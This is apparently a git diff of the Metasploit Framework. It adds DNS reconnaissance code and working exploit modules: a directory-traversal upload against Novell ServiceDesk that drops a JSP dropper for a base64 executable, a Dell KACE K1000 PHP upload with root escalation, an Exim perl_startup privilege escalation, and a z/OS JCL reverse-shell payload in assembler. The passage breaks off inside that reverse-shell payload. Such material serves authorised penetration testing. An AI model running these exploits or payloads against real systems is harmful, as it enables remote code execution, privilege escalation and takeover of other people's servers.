'zm', 'zw', 'int', + 'gs', 'info', 'biz', 'su', 'name', 'coop', 'aero'] + + records = [] + tlds.each do |tld| + tldr = get_a("#{domain_}.#{tld}", 'DNS TLD records') + next if tldr.blank? + records |= tldr + print_good("#{domain_}.#{tld}: TLD: #{tldr.join(',')}") + end + rescue ArgumentError => e + print_error("Query #{domain} DNS TLD - exception: #{e}") + ensure + return if records.blank? + records + end + end + + def get_srv(domain) + print_status("querying DNS SRV records for #{domain}") + srv_protos = %w(tcp udp tls) + srv_record_types = %w( + gc kerberos ldap test sips sip aix finger ftp http + nntp telnet whois h323cs h323be h323ls sipinternal sipinternaltls + sipfederationtls jabber jabber-client jabber-server xmpp-server xmpp-client + imap certificates crls pgpkeys pgprevokations cmp svcp crl oscp pkixrep + smtp hkp hkps) + + srv_records_data = [] + srv_record_types.each do |srv_record_type| + srv_protos.each do |srv_proto| + srv_record = "_#{srv_record_type}._#{srv_proto}.#{domain}" + resp = dns_query(srv_record, Net::DNS::SRV) + next if resp.blank? || resp.answer.blank? + srv_record_data = [] + resp.answer.each do |r| + next if r.type == Net::DNS::RR::CNAME + host = r.host.gsub(/\.$/, '') + data = { + host: host, + port: r.port, + priority: r.priority + } + print_good("#{srv_record} SRV: #{data}") + srv_record_data << data + end + srv_records_data << { + srv_record => srv_record_data + } + report_note( + type: srv_record, + data: srv_record_data + ) + end + end + return if srv_records_data.empty? + end + + def axfr(domain) + nameservers = get_ns(domain) + return if nameservers.blank? + records = [] + nameservers.each do |nameserver| + next if nameserver.blank? + print_status("Attempting DNS AXFR for #{domain} from #{nameserver}") + dns = Net::DNS::Resolver.new + dns.use_tcp = datastore['TCP_DNS'] + dns.udp_timeout = datastore['TIMEOUT'] + dns.retry_number = datastore['RETRY'] + dns.retry_interval = datastore['RETRY_INTERVAL'] + + ns_a_records = [] + # try to get A record for nameserver from target NS, which may fail + target_ns_a = get_a(nameserver, 'DNS AXFR records') + ns_a_records |= target_ns_a if target_ns_a + ns_a_records << ::Rex::Socket.resolv_to_dotted(nameserver) + begin + dns.nameservers -= dns.nameservers + dns.nameservers = ns_a_records + zone = dns.axfr(domain) + rescue ResolverArgumentError, Errno::ECONNREFUSED, Errno::ETIMEDOUT, ::NoResponseError, ::Timeout::Error => e + print_error("Query #{domain} DNS AXFR - exception: #{e}") + end + next if zone.blank? + records << zone + print_good("#{domain} Zone Transfer: #{zone}") + end + return if records.blank? + save_note(domain, 'DNS AXFR recods', records) + records + end + + def save_note(target, type, records) + data = { 'target' => target, 'records' => records } + report_note(host: target, sname: 'dns', type: type, data: data, update: :unique_data) end end diff --git a/modules/exploits/linux/ftp/proftp_sreplace.rb b/modules/exploits/linux/ftp/proftp_sreplace.rb index 33b1920d30..5f48bd4176 100644 --- a/modules/exploits/linux/ftp/proftp_sreplace.rb +++ b/modules/exploits/linux/ftp/proftp_sreplace.rb @@ -159,7 +159,7 @@ class MetasploitModule < Msf::Exploit::Remote mytarget = nil print_status("Automatically detecting the target...") - if (banner and (m = banner.match(/ProFTPD (1\.3\.[23][^ ]) Server/i))) then + if (banner and (m = banner.match(/ProFTPD (1\.[23]\.[^ ])/i))) then print_status("FTP Banner: #{banner.strip}") version = m[1] else diff --git a/modules/exploits/multi/http/novell_servicedesk_rce.rb b/modules/exploits/multi/http/novell_servicedesk_rce.rb new file mode 100644 index 0000000000..e25261e582 --- /dev/null +++ b/modules/exploits/multi/http/novell_servicedesk_rce.rb @@ -0,0 +1,384 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + include Msf::Exploit::EXE + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Novell ServiceDesk Authenticated File Upload', + 'Description' => %q{ + This module exploits an authenticated arbitrary file upload via directory traversal + to execute code on the target. It has been tested on versions 6.5 and 7.1.0, in + Windows and Linux installations of Novell ServiceDesk, as well as the Virtual + Appliance provided by Novell. + }, + 'Author' => + [ + 'Pedro Ribeiro ' # Vulnerability discovery and Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2016-1593' ], + [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/novell-service-desk-7.1.0.txt' ], + [ 'URL', 'http://seclists.org/bugtraq/2016/Apr/64' ] + ], + 'Platform' => %w{ linux win }, + 'Arch' => ARCH_X86, + 'DefaultOptions' => { 'WfsDelay' => 15 }, + 'Targets' => + [ + [ 'Automatic', {} ], + [ 'Novell ServiceDesk / Linux', + { + 'Platform' => 'linux', + 'Arch' => ARCH_X86 + } + ], + [ 'Novell ServiceDesk / Windows', + { + 'Platform' => 'win', + 'Arch' => ARCH_X86 + } + ], + ], + 'Privileged' => false, # Privileged on Windows but not on (most) Linux targets + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Mar 30 2016' + )) + + register_options( + [ + OptPort.new('RPORT', + [true, 'The target port', 80]), + OptString.new('USERNAME', + [true, 'The username to login as', 'admin']), + OptString.new('PASSWORD', + [true, 'Password for the specified username', 'admin']), + OptString.new('TRAVERSAL_PATH', + [false, 'Traversal path to tomcat/webapps/LiveTime/']) + ], self.class) + end + + + def get_version + res = send_request_cgi({ + 'uri' => normalize_uri('LiveTime','WebObjects','LiveTime.woa'), + 'method' => 'GET', + 'headers' => { + 'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)', + } + }) + + if res && res.code == 200 && res.body.to_s =~ /\

\Version \#([0-9\.]+)\<\/p\>/ + return $1.to_f + else + return 999 + end + end + + + def check + version = get_version + if version <= 7.1 && version >= 6.5 + return Exploit::CheckCode::Appears + elsif version > 7.1 + return Exploit::CheckCode::Safe + else + return Exploit::CheckCode::Unknown + end + end + + + def pick_target + return target if target.name != 'Automatic' + + print_status("#{peer} - Determining target") + + os_finder_payload = %Q{<%out.println(System.getProperty("os.name"));%>} + + traversal_paths = [] + if datastore['TRAVERSAL_PATH'] + traversal_paths << datastore['TRAVERSAL_PATH'] # add user specified or default Virtual Appliance path + end + + # add Virtual Appliance path plus the traversal in a Windows or Linux self install + traversal_paths.concat(['../../srv/tomcat6/webapps/LiveTime/','../../Server/webapps/LiveTime/']) + + # test each path to determine OS (and correct path) + traversal_paths.each do |traversal_path| + jsp_name = upload_jsp(traversal_path, os_finder_payload) + + res = send_request_cgi({ + 'uri' => normalize_uri('LiveTime', jsp_name), + 'method' => 'GET', + 'headers' => { + 'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)', + }, + 'cookie' => @cookies + }) + + if res && res.code == 200 + if res.body.to_s =~ /Windows/ + @my_target = targets[2] + else + # Linux here + @my_target = targets[1] + end + if traversal_path.include? '/srv/tomcat6/webapps/' + register_files_for_cleanup('/srv/tomcat6/webapps/LiveTime/' + jsp_name) + else + register_files_for_cleanup('../webapps/LiveTime/' + jsp_name) + end + return traversal_path + end + end + + return nil + end + + + def upload_jsp(traversal_path, jsp) + jsp_name = Rex::Text.rand_text_alpha(6+rand(8)) + ".jsp" + + post_data = Rex::MIME::Message.new + post_data.add_part(jsp, "application/octet-stream", 'binary', "form-data; name=\"#{@upload_form}\"; filename=\"#{traversal_path}#{jsp_name}\"") + data = post_data.to_s + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(@upload_url), + 'headers' => { + 'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)', + }, + 'cookie' => @cookies, + 'data' => data, + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}" + }) + + if not res && res.code == 200 + fail_with(Failure::Unknown, "#{peer} - Failed to upload payload...") + else + return jsp_name + end + end + + + def create_jsp + opts = {:arch => @my_target.arch, :platform => @my_target.platform} + payload = exploit_regenerate_payload(@my_target.platform, @my_target.arch) + exe = generate_payload_exe(opts) + base64_exe = Rex::Text.encode_base64(exe) + + native_payload_name = rand_text_alpha(rand(6)+3) + ext = (@my_target['Platform'] == 'win') ? '.exe' : '.bin' + + var_raw = Rex::Text.rand_text_alpha(rand(8) + 3) + var_ostream = Rex::Text.rand_text_alpha(rand(8) + 3) + var_buf = Rex::Text.rand_text_alpha(rand(8) + 3) + var_decoder = Rex::Text.rand_text_alpha(rand(8) + 3) + var_tmp = Rex::Text.rand_text_alpha(rand(8) + 3) + var_path = Rex::Text.rand_text_alpha(rand(8) + 3) + var_proc2 = Rex::Text.rand_text_alpha(rand(8) + 3) + + if @my_target['Platform'] == 'linux' + var_proc1 = Rex::Text.rand_text_alpha(rand(8) + 3) + chmod = %Q| + Process #{var_proc1} = Runtime.getRuntime().exec("chmod 777 " + #{var_path}); + Thread.sleep(200); + | + + var_proc3 = Rex::Text.rand_text_alpha(rand(8) + 3) + cleanup = %Q| + Thread.sleep(200); + Process #{var_proc3} = Runtime.getRuntime().exec("rm " + #{var_path}); + | + else + chmod = '' + cleanup = '' + end + + jsp = %Q| + <%@page import="java.io.*"%> + <%@page import="sun.misc.BASE64Decoder"%> + <% + try { + String #{var_buf} = "#{base64_exe}"; + BASE64Decoder #{var_decoder} = new BASE64Decoder(); + byte[] #{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString()); + + File #{var_tmp} = File.createTempFile("#{native_payload_name}", "#{ext}"); + String #{var_path} = #{var_tmp}.getAbsolutePath(); + + BufferedOutputStream #{var_ostream} = + new BufferedOutputStream(new FileOutputStream(#{var_path})); + #{var_ostream}.write(#{var_raw}); + #{var_ostream}.close(); + #{chmod} + Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path}); + #{cleanup} + } catch (Exception e) { + } + %> + | + + jsp = jsp.gsub(/\n/, '') + jsp = jsp.gsub(/\t/, '') + jsp = jsp.gsub(/\x0d\x0a/, "") + jsp = jsp.gsub(/\x0a/, "") + + return jsp + end + + + def exploit + version = get_version + + # 1: get the cookies, the login_url and the password_form and username form names (they varies between versions) + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri('/LiveTime/WebObjects/LiveTime.woa'), + 'headers' => { + 'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)', + } + }) + + if res && res.code == 200 && res.body.to_s =~ /class\=\"login\-form\"(.*)action\=\"([\w\/\.]+)(\;jsessionid\=)*/ + login_url = $2 + @cookies = res.get_cookies + if res.body.to_s =~ /type\=\"password\" name\=\"([\w\.]+)\" \/\>/ + password_form = $1 + else + # we shouldn't hit this condition at all, this is default for v7+ + password_form = 'password' + end + if res.body.to_s =~ /type\=\"text\" name\=\"([\w\.]+)\" \/\>/ + username_form = $1 + else + # we shouldn't hit this condition at all, this is default for v7+ + username_form = 'username' + end + else + fail_with(Failure::NoAccess, "#{peer} - Failed to get the login URL.") + end + + # 2: authenticate and get the import_url + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(login_url), + 'headers' => { + 'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)', + }, + 'cookie' => @cookies, + 'vars_post' => { + username_form => datastore['USERNAME'], + password_form => datastore['PASSWORD'], + 'ButtonLogin' => 'Login' + } + }) + + if res && res.code == 200 && + (res.body.to_s =~ /id\=\"clientListForm\" action\=\"([\w\/\.]+)\"\>/ || # v7 and above + res.body.to_s =~ /\

/) # v6.5 + import_url = $1 + else + # hmm either the password is wrong or someone else is using "our" account.. . + # let's try to boot him out + if res && res.code == 200 && res.body.to_s =~ /class\=\"login\-form\"(.*)action\=\"([\w\/\.]+)(\;jsessionid\=)*/ && + res.body.to_s =~ /This account is in use on another system/ + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(login_url), + 'headers' => { + 'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)', + }, + 'cookie' => @cookies, + 'vars_post' => { + username_form => datastore['USERNAME'], + password_form => datastore['PASSWORD'], + 'ButtonLoginOverride' => 'Login' + } + }) + if res && res.code == 200 && + (res.body.to_s =~ /id\=\"clientListForm\" action\=\"([\w\/\.]+)\"\>/ || # v7 and above + res.body.to_s =~ /\/) # v6.5 + import_url = $1 + else + fail_with(Failure::Unknown, "#{peer} - Failed to get the import URL.") + end + else + fail_with(Failure::Unknown, "#{peer} - Failed to get the import URL.") + end + end + + # 3: get the upload_url + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(import_url), + 'headers' => { + 'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)', + }, + 'cookie' => @cookies, + 'vars_post' => { + 'ButtonImport' => 'Import' + } + }) + + if res && res.code == 200 && + (res.body.to_s =~ /id\=\"clientImportUploadForm\" action\=\"([\w\/\.]+)\"\>/ || # v7 and above + res.body.to_s =~ /\/) # v6.5 + @upload_url = $1 + else + fail_with(Failure::Unknown, "#{peer} - Failed to get the upload URL.") + end + + if res.body.to_s =~ /\/ + @upload_form = $1 + else + # go with the default for 7.1.0, might not work with other versions... + @upload_form = "0.53.19.0.2.7.0.3.0.0.1.1.1.4.0.0.23" + end + + # 4: target selection + @my_target = nil + # pick_target returns the traversal_path and sets @my_target + traversal_path = pick_target + if @my_target.nil? + fail_with(Failure::NoTarget, "#{peer} - Unable to select a target, we must bail.") + else + print_status("#{peer} - Selected target #{@my_target.name} with traversal path #{traversal_path}") + end + + # When using auto targeting, MSF selects the Windows meterpreter as the default payload. + # Fail if this is the case and ask the user to select an appropriate payload. + if @my_target['Platform'] == 'linux' && payload_instance.name =~ /Windows/ + fail_with(Failure::BadConfig, "#{peer} - Select a compatible payload for this Linux target.") + end + + # 5: generate the JSP with the payload + jsp = create_jsp + print_status("#{peer} - Uploading payload...") + jsp_name = upload_jsp(traversal_path, jsp) + if traversal_path.include? '/srv/tomcat6/webapps/' + register_files_for_cleanup('/srv/tomcat6/webapps/LiveTime/' + jsp_name) + else + register_files_for_cleanup('../webapps/LiveTime/' + jsp_name) + end + + # 6: pwn it! + print_status("#{peer} - Requesting #{jsp_name}") + send_request_raw({'uri' => normalize_uri('LiveTime', jsp_name)}) + + handler + end +end diff --git a/modules/exploits/unix/http/dell_kace_k1000_upload.rb b/modules/exploits/unix/http/dell_kace_k1000_upload.rb new file mode 100644 index 0000000000..b5780c1118 --- /dev/null +++ b/modules/exploits/unix/http/dell_kace_k1000_upload.rb @@ -0,0 +1,127 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Dell KACE K1000 File Upload', + 'Description' => %q{ + This module exploits a file upload vulnerability in Kace K1000 + versions 5.0 to 5.3, 5.4 prior to 5.4.76849 and 5.5 prior to 5.5.90547 + which allows unauthenticated users to execute arbitrary commands + under the context of the 'www' user. + + This module also abuses the 'KSudoClient::RunCommandWait' function + to gain root privileges. + + This module has been tested successfully with Dell KACE K1000 + version 5.3. + }, + 'License' => MSF_LICENSE, + 'Privileged' => true, + 'Platform' => 'unix', # FreeBSD + 'Arch' => ARCH_CMD, + 'Author' => + [ + 'Bradley Austin (steponequit)', # Initial discovery and exploit + 'Brendan Coles ', # Metasploit + ], + 'References' => + [ + ['URL', 'http://console-cowboys.blogspot.com/2014/03/the-curious-case-of-ninjamonkeypiratela.html'] + ], + 'Payload' => + { + 'Space' => 1024, + 'BadChars' => "\x00\x27", + 'DisableNops' => true, + 'Compat' => + { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'generic perl' + } + }, + 'DefaultTarget' => 0, + 'Targets' => + [ + ['Automatic Targeting', { 'auto' => true }] + ], + 'DisclosureDate' => 'Mar 7 2014')) + end + + def check + res = send_request_cgi('uri' => normalize_uri('service', 'kbot_upload.php')) + unless res + vprint_error('Connection failed') + return Exploit::CheckCode::Unknown + end + if res.code && res.code == 500 && res.headers['X-DellKACE-Appliance'].downcase == 'k1000' + if res.headers['X-DellKACE-Version'] =~ /\A([0-9])\.([0-9])\.([0-9]+)\z/ + vprint_status("Found Dell KACE K1000 version #{res.headers['X-DellKACE-Version']}") + if $1.to_i == 5 && $2.to_i <= 3 # 5.0 to 5.3 + return Exploit::CheckCode::Vulnerable + elsif $1.to_i == 5 && $2.to_i == 4 && $3.to_i <= 76849 # 5.4 prior to 5.4.76849 + return Exploit::CheckCode::Vulnerable + elsif $1.to_i == 5 && $2.to_i == 5 && $3.to_i <= 90547 # 5.5 prior to 5.5.90547 + return Exploit::CheckCode::Vulnerable + end + return Exploit::CheckCode::Safe + end + return Exploit::CheckCode::Detected + end + Exploit::CheckCode::Safe + end + + def exploit + # upload payload + fname = ".#{rand_text_alphanumeric(rand(8) + 5)}.php" + payload_path = "/kbox/kboxwww/tmp/" + post_data = "" + print_status("Uploading #{fname} (#{post_data.length} bytes)") + res = send_request_cgi( + 'uri' => normalize_uri('service', 'kbot_upload.php'), + 'method' => 'POST', + 'vars_get' => Hash[{ + 'filename' => fname, + 'machineId' => "#{'../' * (rand(5) + 4)}#{payload_path}", + 'checksum' => 'SCRAMBLE', + 'mac' => rand_text_alphanumeric(rand(8) + 5), + 'kbotId' => rand_text_alphanumeric(rand(8) + 5), + 'version' => rand_text_alphanumeric(rand(8) + 5), + 'patchsecheduleid' => rand_text_alphanumeric(rand(8) + 5) }.to_a.shuffle], + 'data' => post_data) + + unless res + fail_with(Failure::Unreachable, 'Connection failed') + end + + if res.code && res.code == 200 + print_good('Payload uploaded successfully') + else + fail_with(Failure::UnexpectedReply, 'Unable to upload payload') + end + + # execute payload + res = send_request_cgi('uri' => normalize_uri('tmp', fname)) + + unless res + fail_with(Failure::Unreachable, 'Connection failed') + end + + if res.code && res.code == 200 + print_good('Payload executed successfully') + elsif res.code && res.code == 404 + fail_with(Failure::NotVulnerable, "Could not find payload '#{fname}'") + else + fail_with(Failure::UnexpectedReply, 'Unable to execute payload') + end + end +end diff --git a/modules/exploits/unix/local/exim_perl_startup.rb b/modules/exploits/unix/local/exim_perl_startup.rb new file mode 100644 index 0000000000..062190d860 --- /dev/null +++ b/modules/exploits/unix/local/exim_perl_startup.rb @@ -0,0 +1,59 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + + Rank = ExcellentRanking + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Exim "perl_startup" Privilege Escalation', + 'Description' => %q{ + This module exploits a Perl injection vulnerability in Exim < 4.86.2 + given the presence of the "perl_startup" configuration parameter. + }, + 'Author' => [ + 'Dawid Golunski', # Vulnerability discovery + 'wvu' # Metasploit module + ], + 'References' => [ + %w{CVE 2016-1531}, + %w{EDB 39549}, + %w{URL http://www.exim.org/static/doc/CVE-2016-1531.txt} + ], + 'DisclosureDate' => 'Mar 10 2016', + 'License' => MSF_LICENSE, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'SessionTypes' => %w{shell meterpreter}, + 'Privileged' => true, + 'Payload' => { + 'BadChars' => "\x22\x27", # " and ' + 'Compat' => { + 'PayloadType' => 'cmd cmd_bash', + 'RequiredCmd' => 'generic netcat netcat-e bash-tcp telnet' + } + }, + 'Targets' => [ + ['Exim < 4.86.2', {}] + ], + 'DefaultTarget' => 0 + )) + end + + def check + if exploit('whoami') == 'root' + CheckCode::Vulnerable + else + CheckCode::Safe + end + end + + def exploit(c = payload.encoded) + # PERL5DB technique from http://perldoc.perl.org/perlrun.html + cmd_exec(%Q{PERL5OPT=-d PERL5DB='exec "#{c}"' exim -ps 2>&-}) + end + +end diff --git a/modules/nops/armle/simple.rb b/modules/nops/armle/simple.rb index 2470ee3f38..4cbb9d0a81 100644 --- a/modules/nops/armle/simple.rb +++ b/modules/nops/armle/simple.rb @@ -53,7 +53,7 @@ class MetasploitModule < Msf::Nop 0xe1a0b00b ] - if( random and random.match(/^(t|y|1)/i) ) + if random return ([nops[rand(nops.length)]].pack("V*") * (length/4)) end diff --git a/modules/payloads/singles/cmd/mainframe/generic_jcl.rb b/modules/payloads/singles/cmd/mainframe/generic_jcl.rb new file mode 100644 index 0000000000..75f727ac64 --- /dev/null +++ b/modules/payloads/singles/cmd/mainframe/generic_jcl.rb @@ -0,0 +1,64 @@ +## +# This is a prototype JCL command payload for z/OS - mainframe. +# It submits the IEFBR14 standard z/OS program, which does nothing +# but complete successfully and return code 0. +# +# See http://www.ibm.com/support/knowledgecenter/SSLTBW_2.1.0/com.ibm.zos.v2r1.ieab500/hpropr.htm?lang=en +# for more information on IEFBR14 +## + + +require 'msf/core' +require 'msf/core/handler/find_shell' +require 'msf/base/sessions/mainframe_shell' +require 'msf/base/sessions/command_shell_options' + +module MetasploitModule + + CachedSize = :dynamic + + include Msf::Payload::Single + include Msf::Payload::Mainframe + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Generic JCL Test for Mainframe Exploits', + 'Description' => 'Provide JCL which can be used to submit + a job to JES2 on z/OS which will exit and return 0. This + can be used as a template for other JCL based payloads', + 'Author' => 'Bigendian Smalls', + 'License' => MSF_LICENSE, + 'Platform' => 'mainframe', + 'Arch' => ARCH_CMD, + 'Handler' => Msf::Handler::None, + 'Session' => Msf::Sessions::MainframeShell, + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'jcl', + 'Payload' => + { + 'Offsets' => { }, + 'Payload' => '' + } + )) + end + + ## + # Construct the paload + ## + def generate + return super + command_string + end + + ## + # Build the command string for JCL submission + ## + def command_string + return "//DUMMY JOB (MFUSER),'dummy job',\n" + + "// NOTIFY=&SYSUID,\n" + + "// MSGCLASS=H,\n" + + "// MSGLEVEL=(1,1),\n" + + "// REGION=0M\n" + + "// EXEC PGM=IEFBR14\n" + end +end diff --git a/modules/payloads/singles/cmd/mainframe/reverse_shell_jcl.rb b/modules/payloads/singles/cmd/mainframe/reverse_shell_jcl.rb new file mode 100644 index 0000000000..aa7dcd1fb2 --- /dev/null +++ b/modules/payloads/singles/cmd/mainframe/reverse_shell_jcl.rb @@ -0,0 +1,254 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +# This payload has no ebcdic<->ascii translator built in. +# Therefore it must use a shell which does, like mainframe_shell +# +# this payload will spawn a reverse shell from z/os, when submitted +# on the system as JCL to JES2 +## + + +require 'msf/core' +require 'msf/core/handler/reverse_tcp' +require 'msf/base/sessions/mainframe_shell' +require 'msf/base/sessions/command_shell_options' + +module MetasploitModule + + CachedSize = :dynamic + + include Msf::Payload::Single + include Msf::Payload::Mainframe + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Z/OS (MVS) Command Shell, Reverse TCP', + 'Description' => 'Provide JCL which creates a reverse shell + This implmentation does not include ebcdic character translation, + so a client with translation capabilities is required. MSF handles + this automatically.', + 'Author' => 'Bigendian Smalls', + 'License' => MSF_LICENSE, + 'Platform' => 'mainframe', + 'Arch' => ARCH_CMD, + 'Handler' => Msf::Handler::ReverseTcp, + 'Session' => Msf::Sessions::MainframeShell, + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'jcl', + 'Payload' => + { + 'Offsets' => + { + 'LHOST' => [ 0x1b29, 'custom' ], + 'LPORT' => [ 0x1b25, 'custom' ], + }, + 'Payload' => + "//REVSHL JOB (USER),'Reverse shell jcl',\n" + + "// NOTIFY=&SYSUID,\n" + + "// MSGCLASS=H,\n" + + "// MSGLEVEL=(1,1),\n" + + "// REGION=0M\n" + + "//**************************************/\n" + + "//* Generates reverse shell */\n" + + "//**************************************/\n" + + "//*\n" + + "//STEP1 EXEC PROC=ASMACLG\n" + + "//SYSIN DD *,DLM=ZZ\n" + + " TITLE 'z/os Reverse Shell'\n" + + "NEWREV CSECT\n" + + "NEWREV AMODE 31\n" + + "NEWREV RMODE 31\n" + + "***********************************************************************\n" + + "* SETUP registers and save areas *\n" + + "***********************************************************************\n" + + "MAIN LR 7,15 # R7 is base register\n" + + " NILH 7,X'1FFF' # ensure local address\n" + + " USING MAIN,0 # R8 for addressability\n" + + " DS 0H # halfword boundaries\n" + + " LA 1,ZEROES(7) # address byond which should be all 0s\n" + + " XC 0(204,1),0(1) # clear zero area\n" + + " LA 13,SAVEAREA(7) # address of save area\n" + + " LHI 8,8 # R8 has static 8\n" + + " LHI 9,1 # R9 has static 1\n" + + " LHI 10,2 # R10 has static 2\n" + + "\n" + + "***********************************************************************\n" + + "* BPX1SOC set up socket *\n" + + "***********************************************************************\n" + + "BSOC LA 0,@@F1(7) # USS callable svcs socket\n" + + " LA 3,8 # n parms\n" + + " LA 5,DOM(7) # Relative addr of First parm\n" + + " ST 10,DOM(7) # store a 2 for AF_INET\n" + + " ST 9,TYPE(7) # store a 1 for sock_stream\n" + + " ST 9,DIM(7) # store a 1 for dim_sock\n" + + " LA 15,CLORUN(7) # address of generic load & run\n" + + " BASR 14,15 # Branch to load & run\n" + + "\n" + + "***********************************************************************\n" + + "* BPX1CON (connect) connect to rmt host *\n" + + "***********************************************************************\n" + + "BCON L 5,CLIFD(7) # address of client file descriptor\n" + + " ST 5,CLIFD2(7) # store for connection call\n" + + "*** main processing **\n" + + " LA 1,SSTR(7) # packed socket string\n" + + " LA 5,CLIFD2(7) # dest for our sock str\n" + + " MVC 7(9,5),0(1) # mv packed skt str to parm array\n" + + " LA 0,@@F2(7) # USS callable svcs connect\n" + + " LA 3,6 # n parms for func call\n" + + " LA 5,CLIFD2(7) # src parm list addr\n" + + " LA 15,CLORUN(7) # address of generic load & run\n" + + " BASR 14,15 # Branch to load & run\n" + + "\n" + + "*************************************************\n" + + "* Preparte the child pid we'll spawn *\n" + + "* 0) Dupe all 3 file desc of CLIFD *\n" + + "* 1) dupe parent read fd to std input *\n" + + "*************************************************\n" + + " LHI 11,2 # Loop Counter R11=2\n" + + "@LOOP1 BRC 15,LFCNTL # call FCNTL for each FD(in,out,err)\n" + + "@RET1 AHI 11,-1 # Decrement R11\n" + + " CIJ 11,-1,7,@LOOP1 # if R11 >= 0, loop\n" + + "\n" + + "***********************************************************************\n" + + "* BPX1EXC (exec) execute /bin/sh *\n" + + "***********************************************************************\n" + + "LEXEC LA 1,EXCPRM1(7) # top of arg list\n" + + "******************************************\n" + + "**** load array of addr and constants ***\n" + + "******************************************\n" + + " ST 10,EXARG1L(7) # arg 1 len is 2\n" + + " LA 2,EXARG1L(7) # addr of len of arg1\n" + + " ST 2,16(0,1) # arg4 Addr of Arg Len Addrs\n" + + " LA 2,EXARG1(7) # addr of arg1\n" + + " ST 2,20(0,1) # arg5 Addr of Arg Addrs\n" + + " ST 9,EXARGC(7) # store 1 in ARG Count\n" + + "**************************************************************\n" + + "*** call the exec function the normal way ********************\n" + + "**************************************************************\n" + + " LA 0,@@EX1(7) # USS callable svcs EXEC\n" + + " LA 3,13 # n parms\n" + + " LA 5,EXCPRM1(7) # src parm list addr\n" + + " LA 15,CLORUN(7) # address of generic load & run\n" + + " BASR 14,15 # Branch to load & run\n" + + "\n" + + "***********************************************************************\n" + + "*** BPX1FCT (fnctl) Edit our file descriptor **************************\n" + + "***********************************************************************\n" + + "LFCNTL LA 0,@@FC1(7) # USS callable svcs FNCTL\n" + + " ST 8,@ACT(7) # 8 is our dupe2 action\n" + + " L 5,CLIFD(7) # client file descriptor\n" + + " ST 5,@FFD(7) # store as fnctl argument\n" + + " ST 11,@ARG(7) # fd to clone\n" + + " LA 3,6 # n parms\n" + + " LA 5,@FFD(7) # src parm list addr\n" + + " LA 15,CLORUN(7) # address of generic load & run\n" + + " BASR 14,15 # Branch to load & run\n" + + " BRC 15,@RET1 # Return to caller\n" + + "\n" + + "***********************************************************************\n" + + "* LOAD and run R0=func name, R3=n parms *\n" + + "* R5 = src parm list *\n" + + "***********************************************************************\n" + + "CLORUN ST 14,8(,13) # store ret address\n" + + " XR 1,1 # zero R1\n" + + " SVC 8 # get func call addr for R0\n" + + " ST 0,12(13) # Store returned addr in our SA\n" + + " L 15,12(13) # Load func addr into R15\n" + + " LHI 6,20 # offset from SA of first parm\n" + + " LA 1,0(6,13) # start of dest parm list\n" + + "@LOOP2 ST 5,0(6,13) # store parms address in parm\n" + + " AHI 3,-1 # decrement # parm\n" + + " CIJ 3,11,8,@FIX # haky fix for EXEC func\n" + + "@RETX AHI 6,4 # increment dest parm addr\n" + + " AHI 5,4 # increment src parm addr\n" + + " CIJ 3,0,7,@LOOP2 # loop until R3 = 0\n" + + " LA 5,0(6,13)\n" + + " AHI 5,-4\n" + + " OI 0(5),X'80' # last parm first bit high\n" + + "@FIN1 BALR 14,15 # call function\n" + + " L 14,8(,13) # set up return address\n" + + " BCR 15,14 # return to caller\n" + + "@FIX AHI 5,4 # need extra byte skipped for exec\n" + + " BRC 15,@RETX\n" + + "\n" + + "***********************************************************************\n" + + "* Arg Arrays, Constants and Save Area *\n" + + "***********************************************************************\n" + + " DS 0F\n" + + "*************************\n" + + "**** Func Names ****\n" + + "*************************\n" + + "@@F1 DC CL8'BPX1SOC '\n" + + "@@F2 DC CL8'BPX1CON '\n" + + "@@EX1 DC CL8'BPX1EXC ' # callable svcs name\n" + + "@@FC1 DC CL8'BPX1FCT '\n" + + "* # BPX1EXC Constants\n" + + "EXARG1 DC CL2'sh' # arg 1 to exec\n" + + "* # BPX1CON Constants\n" + + "SSTR DC X'100202PPPPaaaaaaaa'\n" + + "* # BPX1EXC Arguments\n" + + "EXCPRM1 DS 0F # 